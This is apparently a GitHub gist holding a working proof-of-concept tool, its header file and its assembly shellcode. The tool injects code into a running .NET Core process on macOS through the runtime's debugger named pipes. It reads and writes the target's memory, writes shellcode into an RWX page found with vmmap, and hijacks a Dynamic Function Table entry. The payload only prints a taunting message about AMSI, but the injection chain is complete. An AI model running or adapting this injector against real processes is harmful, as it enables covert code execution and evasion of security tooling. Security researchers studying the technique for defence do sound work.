// Compile with g++ dotnet_injectbundle.cpp -o dotnet_injectbundle | |
#include <stdio.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include "main.h" | |
// libcorclr.dll signature for finding hlpDynamicFuncTable | |
unsigned char signature[] = "\x66\x48\x0F\x6E\xC0\x66\x0F\x70\xC0\x44\xEB\x1E\x4C\x8B\x6D\xD0"; | |
// Print some troll message to console | |
unsigned char shellcode[] = { | |
0x80, 0x3d, 0x6b, 0x00, 0x00, 0x00, 0x01, 0x74, 0x2d, 0x50, 0x53, 0x51, | |
0x52, 0x55, 0x56, 0x57, 0xb8, 0x04, 0x00, 0x00, 0x02, 0xbf, 0x01, 0x00, | |
0x00, 0x00, 0x48, 0x8d, 0x35, 0x21, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, | |
0x00, 0x00, 0x0f, 0x05, 0x5f, 0x5e, 0x5d, 0x5a, 0x59, 0x5b, 0x58, 0xc6, | |
0x05, 0x3c, 0x00, 0x00, 0x00, 0x01, 0x48, 0xb8, 0x41, 0x41, 0x41, 0x41, | |
0x41, 0x41, 0x41, 0x41, 0xff, 0xe0, 0x0a, 0x0a, 0x57, 0x48, 0x4f, 0x20, | |
0x4e, 0x45, 0x45, 0x44, 0x53, 0x20, 0x41, 0x4d, 0x53, 0x49, 0x3f, 0x3f, | |
0x20, 0x3b, 0x29, 0x20, 0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x69, 0x6f, | |
0x6e, 0x20, 0x74, 0x65, 0x73, 0x74, 0x20, 0x62, 0x79, 0x20, 0x40, 0x5f, | |
0x78, 0x70, 0x6e, 0x5f, 0x0a, 0x0a, 0x00 | |
}; | |
// Headers which we will need to use throughout our session | |
MessageHeader sSendHeader; | |
MessageHeader sReceiveHeader; | |
// Our pipe handles | |
int wr, rd; | |
/// Read process memory from our target | |
bool readMemory(void *addr, int len, unsigned char **output) { | |
*output = (unsigned char *)malloc(len); | |
if (*output == NULL) { | |
return false; | |
} | |
// Set up the message header | |
sSendHeader.m_dwId++; | |
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; | |
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; | |
sSendHeader.m_eType = MT_ReadMemory; | |
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; | |
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; | |
sSendHeader.m_cbDataBlock = 0; | |
// Write the header | |
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Read the response header | |
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Make sure that memory could be read before we attempt to read further | |
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { | |
return false; | |
} | |
memset(*output, 0, len); | |
// Read the memory from the debugee | |
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) { | |
return false; | |
} | |
return true; | |
} | |
/// Write to our target process memory | |
bool writeMemory(void *addr, int len, unsigned char *input) { | |
// Set up the message header | |
sSendHeader.m_dwId++; | |
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; | |
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; | |
sSendHeader.m_eType = MT_WriteMemory; | |
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; | |
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; | |
sSendHeader.m_cbDataBlock = len; | |
// Write the header | |
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Write the data | |
if (write(wr, input, len) < 0) { | |
return false; | |
} | |
// Read the response header | |
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Ensure our memory write was successful | |
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { | |
return false; | |
} | |
return true; | |
} | |
/// Create a new debugger session | |
bool createSession(void) { | |
SessionRequestData sDataBlock; | |
// Set up our session request header | |
sSendHeader.m_eType = MT_SessionRequest; | |
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion; | |
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; | |
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); | |
// Set a random value for the UUID | |
for(int i=0; i < sizeof(sDataBlock.m_sSessionID); i++) { | |
*((char *)&sDataBlock.m_sSessionID + i) = (char)rand(); | |
} | |
// Send our header | |
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
// Send our UUID | |
if (write(wr, &sDataBlock, sizeof(SessionRequestData)) < 0) { | |
return false; | |
} | |
// Read the response | |
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
return true; | |
} | |
/// Returns the DCB from the target | |
bool getDCB(struct DebuggerIPCControlBlockTransport *dcb) { | |
// Set up our header | |
sSendHeader.m_dwId++; | |
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; | |
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; | |
sSendHeader.m_eType = MT_GetDCB; | |
sSendHeader.m_cbDataBlock = 0; | |
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) { | |
return false; | |
} | |
if (read(rd, dcb, sReceiveHeader.m_cbDataBlock) < 0) { | |
return false; | |
} | |
return true; | |
} | |
/// Hunts through memory searching for the provided signature | |
int findMemorySignature(void *base, unsigned char *signature, int len) { | |
unsigned char *output; | |
int offset = 0xc1000; //0; | |
while(true) { | |
if (readMemory((char *)base + offset, len, &output) == false) { | |
// If we hit a memory access violation, we probably went too far | |
return -1; | |
} | |
if (memcmp(output, signature, len) == 0) { | |
return offset; | |
} | |
free(output); | |
offset++; | |
} | |
return -1; | |
} | |
/// Runs vmmap and finds a RWX page of memory (god damn Apple.. look what you make us do!) | |
unsigned long long runVMMAP(const char *processName) { | |
int link[2]; | |
pid_t pid; | |
char *output; | |
int nbytes = 1, r = 0; | |
char *needle; | |
output = (char *)malloc(0x10000); | |
if (pipe(link)==-1) | |
exit(2); | |
if ((pid = fork()) == -1) | |
exit(2); | |
if(pid == 0) { | |
dup2 (link[1], STDOUT_FILENO); | |
close(link[0]); | |
close(link[1]); | |
execl("/usr/bin/vmmap", "vmmap", processName, (char *)0); | |
exit(2); | |
} | |
close(link[1]); | |
while(nbytes != 0) { | |
nbytes = read(link[0], output + r, 0x10000); | |
if (nbytes == 0x10000) { | |
break; | |
} | |
r += nbytes; | |
} | |
wait(NULL); | |
// Search for our RWX memory region | |
if ((needle = strstr(output, "rwx/rwx")) == NULL) { | |
return 0; | |
} | |
// Now we need to search backwards for the start of the line (GOD DAMN APPLE!!) | |
while(*needle != '\n') { | |
needle--; | |
} | |
// Now we find and extract the address at the end of the region | |
while(*needle != '-') { | |
needle++; | |
} | |
needle++; | |
// Now NULL terminate the address | |
*(needle + 0x10) = '\0'; | |
return strtoull(needle, NULL, 16); | |
} | |
int main(int argc, char **argv) { | |
struct DebuggerIPCControlBlockTransport dcb; | |
unsigned char *output; | |
unsigned char *dft; | |
int offset; | |
int dftOffset; | |
unsigned long long rwxPageAddr; | |
printf("Dotnet Core Debugger Injection POC by @_xpn_\n\n"); | |
if (argc != 4) { | |
printf("Usage: %s in-pipe out-pipe process-name\n", argv[0]); | |
printf("Example: %s \"$TMPDIR/clr-debug-pipe-73013-1600035359-in\" \"$TMRDIR/clr-debug-pipe-73013-1600035359-out\" pwsh\n", argv[0]); | |
return 10; | |
} | |
wr = open(argv[1], O_WRONLY); | |
rd = open(argv[2], O_RDONLY); | |
if (rd < 0 || wr < 0) { | |
printf("[x] Could not open provided named pipes\n"); | |
return 1; | |
} | |
// Create debugger session | |
printf("[*] Creating a session with the target\n"); | |
if (!createSession()) { | |
printf("[x] Error: Could not create debugger session\n"); | |
return 1; | |
} | |
// Retrieve the DCB | |
printf("[*] Retrieving a copy of the target DCB\n"); | |
if (!getDCB(&dcb)) { | |
printf("[x] Error: Could not request DCB\n"); | |
return 2; | |
} | |
// Search for DFT signature in memory | |
printf("[*] Base address of m_helperRemoteStartAddr: %p\n[*] Hunting for signature in target memory\n", dcb.m_helperRemoteStartAddr); | |
if ((offset = findMemorySignature(dcb.m_helperRemoteStartAddr, signature, 16)) == -1) { | |
printf("[x] Error: Could not find memory signature\n"); | |
return 3; | |
} | |
// Read the offset to the address table | |
if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x17, 4, &output)) { | |
printf("[x] Error: Could not read Dynamic Function Table from target\n"); | |
return 4; | |
} | |
dftOffset = *(int *)(output) + 0x7; | |
printf("[*] Dynamic Function Table found at %p\n", (char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset); | |
if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset, 0x200, (unsigned char **)&dft)) { | |
printf("[x] Error: Could not read Dynamic Function Table\n"); | |
return 4; | |
} | |
printf("[*] Dynamic Function Table read\n"); | |
// Update our shellcode to return into the original DFT function address | |
*(unsigned long long *)(shellcode + 56) = *(unsigned long long *)((char *)dft + 0x50); | |
rwxPageAddr = runVMMAP(argv[3]); | |
rwxPageAddr -= sizeof(shellcode); | |
printf("[*] Found RWX page of memory, writing our shellcode to %p\n", rwxPageAddr); | |
if (writeMemory((void*)rwxPageAddr, sizeof(shellcode), (unsigned char *)shellcode) == false) { | |
printf("[x] Error: Could not write our shellcode to RWX memory\n"); | |
return 4; | |
} | |
printf("[*] Overwriting the Dynamic Function Table entry... injection complete\n"); | |
if (!writeMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset + 0x50, 0x8, (unsigned char *)&rwxPageAddr)) { | |
printf("[x] Error: Could not write to the function table\n"); | |
return 5; | |
} | |
} |
typedef unsigned int DWORD; | |
typedef unsigned char BYTE; | |
typedef unsigned char * PBYTE; | |
typedef DWORD HRESULT; | |
typedef unsigned short USHORT; | |
typedef unsigned int ULONG; | |
typedef unsigned char UCHAR; | |
typedef bool BOOL; | |
static const DWORD kCurrentMajorVersion = 2; | |
static const DWORD kCurrentMinorVersion = 0; | |
#define CorDBIPC_BUFFER_SIZE 4016 | |
#define MSLAYOUT __attribute__((__ms_struct__)) | |
enum IPCEventType | |
{ | |
IPCET_OldStyle, | |
IPCET_DebugEvent, | |
IPCET_Max, | |
}; | |
typedef struct _GUID { | |
ULONG Data1; // NOTE: diff from Win32, for LP64 | |
USHORT Data2; | |
USHORT Data3; | |
UCHAR Data4[ 8 ]; | |
} GUID; | |
enum MessageType | |
{ | |
// Session management operations. These must come first and MT_SessionClose must be last in the group. | |
MT_SessionRequest, // RS -> LS : Request a new session be formed (optionally pass encrypted data key) | |
MT_SessionAccept, // LS -> RS : Accept new session | |
MT_SessionReject, // LS -> RS : Reject new session, give reason | |
MT_SessionResync, // RS <-> LS : Resync broken connection by informing other side which messages must be resent | |
MT_SessionClose, // RS -> LS : Gracefully terminate a session | |
// Debugger events. | |
MT_Event, // RS <-> LS : A debugger event is being sent as the data block of the message | |
// Misc management operations. | |
MT_ReadMemory, // RS <-> LS : RS wants to read LS memory block (or LS is replying to such a request) | |
MT_WriteMemory, // RS <-> LS : RS wants to write LS memory block (or LS is replying to such a request) | |
MT_VirtualUnwind, // RS <-> LS : RS wants to LS unwind a stack frame (or LS is replying to such a request) | |
MT_GetDCB, // RS <-> LS : RS wants to read LS DCB (or LS is replying to such a request) | |
MT_SetDCB, // RS <-> LS : RS wants to write LS DCB (or LS is replying to such a request) | |
MT_GetAppDomainCB, // RS <-> LS : RS wants to read LS AppDomainCB (or LS is replying to such a request) | |
}; | |
enum RejectReason | |
{ | |
RR_IncompatibleVersion, // LS doesn't support the major version asked for in the request. | |
RR_AlreadyAttached, // LS already has another session open (LS only supports one session at a time) | |
}; | |
struct MessageHeader | |
{ | |
MessageType m_eType; // Type of message this is | |
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero) | |
DWORD m_dwId; // Message ID assigned by the sender of this message | |
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB) | |
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue) | |
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and | |
// never read) | |
// The rest of the header varies depending on the message type (keep the maximum size of this union | |
// small since all messages will pay the overhead, large message type specific data should go in the | |
// following data block). | |
union | |
{ | |
// Used by MT_SessionRequest / MT_SessionAccept. | |
struct | |
{ | |
DWORD m_dwMajorVersion; // Protocol version requested/accepted | |
DWORD m_dwMinorVersion; | |
} VersionInfo; | |
// Used by MT_SessionReject. | |
struct | |
{ | |
RejectReason m_eReason; // Reason for rejection. | |
DWORD m_dwMajorVersion; // Highest protocol version the LS supports | |
DWORD m_dwMinorVersion; | |
} SessionReject; | |
// Used by MT_ReadMemory and MT_WriteMemory. | |
struct | |
{ | |
PBYTE m_pbLeftSideBuffer; // Address of memory to read/write on the LS | |
DWORD m_cbLeftSideBuffer; // Size in bytes of memory to read/write | |
HRESULT m_hrResult; // Result from LS (access can fail due to unmapped memory etc.) | |
} MemoryAccess; | |
// Used by MT_Event. | |
struct | |
{ | |
IPCEventType m_eIPCEventType; // multiplexing type of this IPC event | |
DWORD m_eType; // Event type (useful for debugging) | |
} Event; | |
} TypeSpecificData; | |
BYTE m_sMustBeZero[8]; // Set this to zero when initializing and never read the contents | |
}; | |
struct SessionRequestData | |
{ | |
GUID m_sSessionID; // Unique session ID. Treated as byte blob so no endian-ness | |
}; | |
typedef unsigned int SIZE_T; | |
typedef unsigned int RemoteHANDLE; | |
struct MSLAYOUT DebuggerIPCRuntimeOffsets | |
{ | |
#ifdef FEATURE_INTEROP_DEBUGGING | |
void *m_genericHijackFuncAddr; | |
void *m_signalHijackStartedBPAddr; | |
void *m_excepForRuntimeHandoffStartBPAddr; | |
void *m_excepForRuntimeHandoffCompleteBPAddr; | |
void *m_signalHijackCompleteBPAddr; | |
void *m_excepNotForRuntimeBPAddr; | |
void *m_notifyRSOfSyncCompleteBPAddr; | |
void *m_raiseExceptionAddr; // The address of kernel32!RaiseException in the debuggee | |
DWORD m_debuggerWordTLSIndex; // The TLS slot for the debugger word used in the debugger hijack functions | |
#endif // FEATURE_INTEROP_DEBUGGING | |
SIZE_T m_TLSIndex; // The TLS index of the thread-local storage for coreclr.dll | |
SIZE_T m_TLSEEThreadOffset; // TLS Offset of the Thread pointer. | |
SIZE_T m_TLSIsSpecialOffset; // TLS Offset of the "IsSpecial" status for a thread. | |
SIZE_T m_TLSCantStopOffset; // TLS Offset of the Can't-Stop count. | |
SIZE_T m_EEThreadStateOffset; // Offset of m_state in a Thread | |
SIZE_T m_EEThreadStateNCOffset; // Offset of m_stateNC in a Thread | |
SIZE_T m_EEThreadPGCDisabledOffset; // Offset of the bit for whether PGC is disabled or not in a Thread | |
DWORD m_EEThreadPGCDisabledValue; // Value at m_EEThreadPGCDisabledOffset that equals "PGC disabled". | |
SIZE_T m_EEThreadFrameOffset; // Offset of the Frame ptr in a Thread | |
SIZE_T m_EEThreadMaxNeededSize; // Max memory to read to get what we need out of a Thread object | |
DWORD m_EEThreadSteppingStateMask; // Mask for Thread::TSNC_DebuggerIsStepping | |
DWORD m_EEMaxFrameValue; // The max Frame value | |
SIZE_T m_EEThreadDebuggerFilterContextOffset; // Offset of debugger's filter context within a Thread Object. | |
SIZE_T m_EEFrameNextOffset; // Offset of the next ptr in a Frame | |
DWORD m_EEIsManagedExceptionStateMask; // Mask for Thread::TSNC_DebuggerIsManagedException | |
void *m_pPatches; // Addr of patch table | |
BOOL *m_pPatchTableValid; // Addr of g_patchTableValid | |
SIZE_T m_offRgData; // Offset of m_pcEntries | |
SIZE_T m_offCData; // Offset of count of m_pcEntries | |
SIZE_T m_cbPatch; // Size per patch entry | |
SIZE_T m_offAddr; // Offset within patch of target addr | |
SIZE_T m_offOpcode; // Offset within patch of target opcode | |
SIZE_T m_cbOpcode; // Max size of opcode | |
SIZE_T m_offTraceType; // Offset of the trace.type within a patch | |
DWORD m_traceTypeUnmanaged; // TRACE_UNMANAGED | |
}; | |
// DCB | |
struct MSLAYOUT DebuggerIPCControlBlock | |
{ | |
// Version data should be first in the control block to ensure that we can read it even if the control block | |
// changes. | |
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized | |
ULONG m_verMajor; // CLR build number for the Left Side. | |
ULONG m_verMinor; // CLR build number for the Left Side. | |
// This next stuff fits in a DWORD. | |
bool m_checkedBuild; // CLR build type for the Left Side. | |
// using the first padding byte to indicate if hosted in fiber mode. | |
// We actually just need one bit. So if needed, can turn this to a bit. | |
// BYTE padding1; | |
bool m_bHostingInFiber; | |
BYTE padding2; | |
BYTE padding3; | |
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side. | |
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support. | |
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side. | |
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires. | |
HRESULT m_errorHR; | |
unsigned int m_errorCode; | |
// 64-bit needs this padding to make the handles after this aligned. | |
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0. | |
ULONG padding4; | |
RemoteHANDLE m_rightSideEventAvailable; | |
RemoteHANDLE m_rightSideEventRead; | |
// @dbgtodo inspection - this is where LSEA and LSER used to be. We need to the padding to maintain binary compatibility. | |
// Eventually, we expect to remove this whole block. | |
RemoteHANDLE m_paddingObsoleteLSEA; | |
RemoteHANDLE m_paddingObsoleteLSER; | |
RemoteHANDLE m_rightSideProcessHandle; | |
//............................................................................. | |
// Everything above this point must have the exact same binary layout as v1.1. | |
// See protocol details below. | |
//............................................................................. | |
RemoteHANDLE m_leftSideUnmanagedWaitEvent; | |
// This is set immediately when the helper thread is created. | |
// This will be set even if there's a temporary helper thread or if the real helper | |
// thread is not yet pumping (eg, blocked on a loader lock). | |
DWORD m_realHelperThreadId; | |
// This is only published once the helper thread starts running in its main loop. | |
// Thus we can use this field to see if the real helper thread is actually pumping. | |
DWORD m_helperThreadId; | |
// This is non-zero if the LS has a temporary helper thread. | |
DWORD m_temporaryHelperThreadId; | |
// ID of the Helper's canary thread. | |
DWORD m_CanaryThreadId; | |
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets; | |
void *m_helperThreadStartAddr; | |
void *m_helperRemoteStartAddr; | |
DWORD *m_specialThreadList; | |
BYTE m_receiveBuffer[CorDBIPC_BUFFER_SIZE]; | |
BYTE m_sendBuffer[CorDBIPC_BUFFER_SIZE]; | |
DWORD m_specialThreadListLength; | |
bool m_shutdownBegun; | |
bool m_rightSideIsWin32Debugger; // RS status | |
bool m_specialThreadListDirty; | |
bool m_rightSideShouldCreateHelperThread; | |
}; | |
struct MSLAYOUT DebuggerIPCControlBlockTransport | |
{ | |
// Version data should be first in the control block to ensure that we can read it even if the control block | |
// changes. | |
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized | |
ULONG m_verMajor; // CLR build number for the Left Side. | |
ULONG m_verMinor; // CLR build number for the Left Side. | |
// This next stuff fits in a DWORD. | |
bool m_checkedBuild; // CLR build type for the Left Side. | |
// using the first padding byte to indicate if hosted in fiber mode. | |
// We actually just need one bit. So if needed, can turn this to a bit. | |
// BYTE padding1; | |
bool m_bHostingInFiber; | |
BYTE padding2; | |
BYTE padding3; | |
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side. | |
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support. | |
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side. | |
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires. | |
HRESULT m_errorHR; | |
unsigned int m_errorCode; | |
// 64-bit needs this padding to make the handles after this aligned. | |
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0. | |
ULONG padding4; | |
// This is set immediately when the helper thread is created. | |
// This will be set even if there's a temporary helper thread or if the real helper | |
// thread is not yet pumping (eg, blocked on a loader lock). | |
DWORD m_realHelperThreadId; | |
// This is only published once the helper thread starts running in its main loop. | |
// Thus we can use this field to see if the real helper thread is actually pumping. | |
DWORD m_helperThreadId; | |
// This is non-zero if the LS has a temporary helper thread. | |
DWORD m_temporaryHelperThreadId; | |
// ID of the Helper's canary thread. | |
DWORD m_CanaryThreadId; | |
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets; | |
void *m_helperThreadStartAddr; | |
void *m_helperRemoteStartAddr; | |
DWORD *m_specialThreadList; | |
DWORD m_specialThreadListLength; | |
bool m_shutdownBegun; | |
bool m_rightSideIsWin32Debugger; // RS status | |
bool m_specialThreadListDirty; | |
bool m_rightSideShouldCreateHelperThread; | |
}; |
[BITS 64] | |
; Compile with "nasm shellcode.asm -o shellcode.bin -fbin" | |
; Convert to C with "xxd -i ./shellcode.bin" | |
global _main | |
section .text | |
_main: | |
_start: | |
cmp byte [rel already_run], 1 | |
je skip | |
push rax | |
push rbx | |
push rcx | |
push rdx | |
push rbp | |
push rsi | |
push rdi | |
mov rax, 0x2000004 | |
mov rdi, 1 | |
lea rsi, [rel msg] | |
mov rdx, msg.len | |
syscall | |
pop rdi | |
pop rsi | |
pop rbp | |
pop rdx | |
pop rcx | |
pop rbx | |
pop rax | |
mov byte [rel already_run], 1 | |
skip: | |
mov rax, 0x4141414141414141 | |
jmp rax | |
msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa | |
.len: equ $ - msg | |
already_run: db 0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment